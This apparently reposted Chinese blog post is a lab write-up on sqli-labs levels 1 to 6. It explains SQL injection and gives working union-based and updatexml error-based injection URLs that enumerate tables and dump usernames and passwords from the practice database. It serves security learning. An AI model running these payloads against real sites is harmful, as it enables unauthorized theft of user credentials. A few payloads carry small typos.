SQL注入之sqli-labs(Less1-6) – 作者:停止思考的Thomas

前言

趁着五一放假多更新一下,之后开始上课,能用来写博客的时间就更少了。

什么是SQL注入

在开始靶场之前,先要清楚什么是SQL注入,可能大多数朋友都已经了解,但要给刚开始学习注入的朋友提一下,虽然不见得能起多大作用,但却能很好地帮助我们开始入门学习。
SQL注入:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简单来说,就是网站的后台程序过于信赖用户的输入,没有对用户输入做出严格的过滤,导致攻击者可以通过构造恶意的payload去查看或修改数据库的信息,平常我们在新闻中看到的XX公司用户数据泄露,就有相当一部分攻击是基于SQL注入。

MYSQL的增删改查

MySQL是一个关系型数据库管理系统,MySQL是目前主流的关系型数据库管理系统之一,同类型的还有Access,SQL Server等,不同数据库都有各自的独特之处,但在对数据库进行操作时,基本语法是大抵相同的,下面简要叙述一下MySQL增删改查(即增加数据,删除数据,修改/更新数据,查询数据)的基本语法,这也是我们平常使用较多的几个语句。

增:INSERT table_name(column_name1,column_name2)values("new_value1","new_value2");
  删:DELETE from table_name where condition;
  改:UPDATE table_name set column_name=new_value where condition;
  查:SELECT column_name from database_name.table_name where condition;

开始靶场

Less-1

前置知识介绍完毕,我们直接进入靶场,首先要明确,我们靶场基本上每一关的目标都是拿到数据库中的用户名和密码,这样才算是通过。
靶场第一关,页面显示“Welcome Dhakkan”,“Dhakkan”是印度俚语,指的是“愚蠢的人”,然后让我们输入一个id作为参数,参数值为数字,我们根据提示照做:

http://192.168.237.1/sqli-labs/Less-1/?id=1

可以看到如下画面:

less1-1

Your Login name:Dumb
Your Password:Dumb

我们可以尝试替换id的值,可以看到login name和password的值也在随之变化。页面与数据库进行交互,根据用户输入id值的不同而返回不同的信息。任何与数据库产生交互的地方,都可能存在注入。
那么我们尝试在url最后加一个单引号:

http://192.168.237.1/sqli-labs/Less-1/?id=1'

页面返回显示我们的语法有错误,如下图:

less1-2

很明显是因为我们输入的单引号引起了报错,再结合报错信息,我们尝试猜测页面执行的SQL语句大致结构是:

select * from xxx where id=$id limit 0,1;

我们再尝试输入在url后加个双引号,页面却返回正常:

http://192.168.237.1/sqli-labs/Less-1/?id=1"

less1-3

因为单引号报错,而双引号正常,我们可以进一步猜测id这个参数是被单引号包裹了,所以SQL语句应该是:

select * from xxx where id='$id' limit 0,1;

那么我们就只需要将前面的单引号闭合,再将后面的语句注释掉,中间就可以插入我们想要执行的SQL语句了,代码如下:

http://192.168.237.1/sqli-labs/Less-1/?id=1'--+

补充,MYSQL中有三个注释符:
--+
#
/**/
其中--+和#是单行注释符,/**/是多行注释符。

到这里,我们可以用联合查询注入获取数据库中的数据,但前提是我们必须知道当前表的字段数,因为在联合查询中,我们会使用union select来将两条查询语句拼接起来,但是前后两个select语句返回的字段数必须相同,否则无法拼接。
所以我们一般先用order by来判断表中的字段数,在MySQL中,order by原本的用途是排序,比如:order by 某字段名,那么语句的查询结果就会根据这个字段进行重新排序。或者,order by x(x为一个数字),那么语句的查询结果就会按照表中第x个字段进行重新排序,我们正是可以利用这一点特性,去查询数据库表中的字段数:假设一张表中只有10个字段,那么我们通过order by 1-11这样去遍历,在1-10时,数据库都能正常执行语句,但当数据库执行到第11这个不存在的字段时,便会执行出错,以此,我们便可以判断出表中的字段数。所以,我们来尝试遍历:

http://192.168.237.1/sqli-labs/Less-1/?id=1' order by 1--+    //页面返回正常
http://192.168.237.1/sqli-labs/Less-1/?id=1' order by 2+    //页面返回正常
http://192.168.237.1/sqli-labs/Less-1/?id=1' order by 3-+    //页面返回正常
http://192.168.237.1/sqli-labs/Less-1/?id=1' order by 4-+    //页面返回错误

可以看出,当在1-3时,页面如下图:

less1-4

而执行到4时,便返回:4是未知的字段,如下图:

less1-5

由此可以判断,表中一共3个字段。
然后我们再判断一下显示位(即能够注入出数据的地方):

http://192.168.237.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+
注意这里id值改为-1原因是,有时网页往往只能回显一行数据,所以我们要让前面第一个select语句的返回值为空,才能让后面的第二个select语句回显出数据,也就是我们自己要执行的攻击语句。

less1-6

可以从上面看到,2和3是回显位,接下来就是联合查询了:

当前数据库名:http://192.168.237.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3--+

less1-7

现在我们得到数据库名:security,然后是表名,payload如下:

查询表名:http://192.168.237.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
补充:
1.MYSQL在5.0版本后会多出一张系统数据库(information_schema),里面记录了所有其他数据库的元数据,也就是说其他数据库的库名,表名,字段名等信息都可以在这个数据库中查询到,具体可以自行了解,这里不再赘述(之后的关卡会经常需要用到,所有需要对这个数据库有一定了解。)
2.group_concat()函数作用是将多条数据合并显示为一条

less1-8

共四张表:emails,referers,uagents,users;然后是字段,payload如下:

查询字段名:http://192.168.237.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'--+

less1-9

可以看到最后的username和password就是我们需要的,我们接下来就是去查询里面的值,payload如下:

查询username的值:http://192.168.237.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),3 from security.users--+
查询password的值:http://192.168.237.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(password),3 from security.users--+

less1-10

至此,数据库中的用户名和密码我们已经拿到,这一关也就算结束了。

Less-2

加单引号报错,如下图:

less2-1

加双引号也报错,猜测是数字型注入,也就是参数没有被符号包裹,尝试联合查询注入,payload如下:

http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1,2,3

less2-2

页面有回显位,直接可以爆数据了,和上一题基本一致,payload如下:

数据库名:http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1,database(),3
表名:http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
字段名:http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'
username/password值:http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username/password),3 from security.users

Less-3

单引号报错,双引号返回正常,那么我们看报错信息,如下图:

less2-3

报错信息显示在 ”1”) LIMIT 0,1′ 处有语法错误,可以看到参数还被一个括号包裹,那么我们闭合就好,然后直接爆数据,payload如下:

闭合:http://192.168.237.1/sqli-labs/Less-3/?id=1')--+
数据库名:http://192.168.237.1/sqli-labs/Less-3/?id=-1') union select 1,database(),3--+
表名:http://192.168.237.1/sqli-labs/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
字段名:http://192.168.237.1/sqli-labs/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'--+
username/password值:http://192.168.237.1/sqli-labs/Less-3/?id=-1') union select 1,group_concat(username/password),3 from security.users--+

Less-4

单引号不报错,双引号报错,看报错信息,如下图:

less2-4

报错信息显示在'”1″”) LIMIT 0,1’处,有语法错误,可以看到参数被一个括号包裹,和上一题是一样的,只是单引号换成了双引号,我们同样闭合就好:

http://192.168.237.1/sqli-labs/Less-4/?id=1")--+

然后直接爆数据,payload参照上面一题,把单引号换成双引号就可以。

Less-5

进入第五关,发现与之前的几关不一样,只有一个“ You are in………..”。

less5-1

单引号报错,双引号返回正常,如下图:

less5-2

less5-3

那我们还是先闭合,尝试联合查询注入,确定显示位,payload如下:

http://192.168.237.1/sqli-labs/Less-5/?id=-1'union select 1,2,3--+

less5-4

不过并没有如我们想象的回显数据,这里还是显示“You are in………..”,并没有显示位,所以在这里联合查询注入用不了,我们只能尝试另一种方法–报错注入
报错注入即通过特殊函数的错误使用使其参数被页面输出。
但有前提:服务器开启了报错信息返回,也就是发生错误时返回报错信息。
常见的利用函数有:exp()、floor()+rand()、updatexml()、extractvalue()等。
我们这里只介绍updatexml(),常用语法格式如下:

select column_name from table_name where condition (and/or) updatexml(1,concat(0x7e,user(),0x7e),1)
补充解释:concat函数作用和group_concat有点类似,起到连接多个字符串的作用;
	0x7e是“ ~ ”的十六进制;

那么我们来尝试报错注入,payload如下:

数据库名:http://192.168.237.1/sqli-labs/Less-5/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
表名:http://192.168.237.1/sqli-labs/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
字段名:http://192.168.237.1/sqli-labs/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),1)--+
username/password值:http://192.168.237.1/sqli-labs/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username/passsword) from security.users),0x7e),1)--+
补充:报错函数通常会有最长报错输出的限制--32个字符,所以可能会出现显示不全的问题,可以使用substr()或者limit来分割输出,分多次输出。

less5-5

Less-6

这一题与上一题基本上一样,只是单引号变成双引号了,payload如下:

数据库名:http://192.168.237.1/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
这里只写一个payload作为示例,后面的参考上一题就可以。

结尾

总的来说,1-4关都是联合查询注入,无非就是单双引号,有无括号的区别,5,6关是报错注入,再之后关卡就是盲注了,留到之后再写吧。前面这些关卡写的会相对详细,到后面的关卡如果碰到重复的步骤可能就会省略了。

来源:freebuf.com 2021-05-22 22:26:24 by: 停止思考的Thomas

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论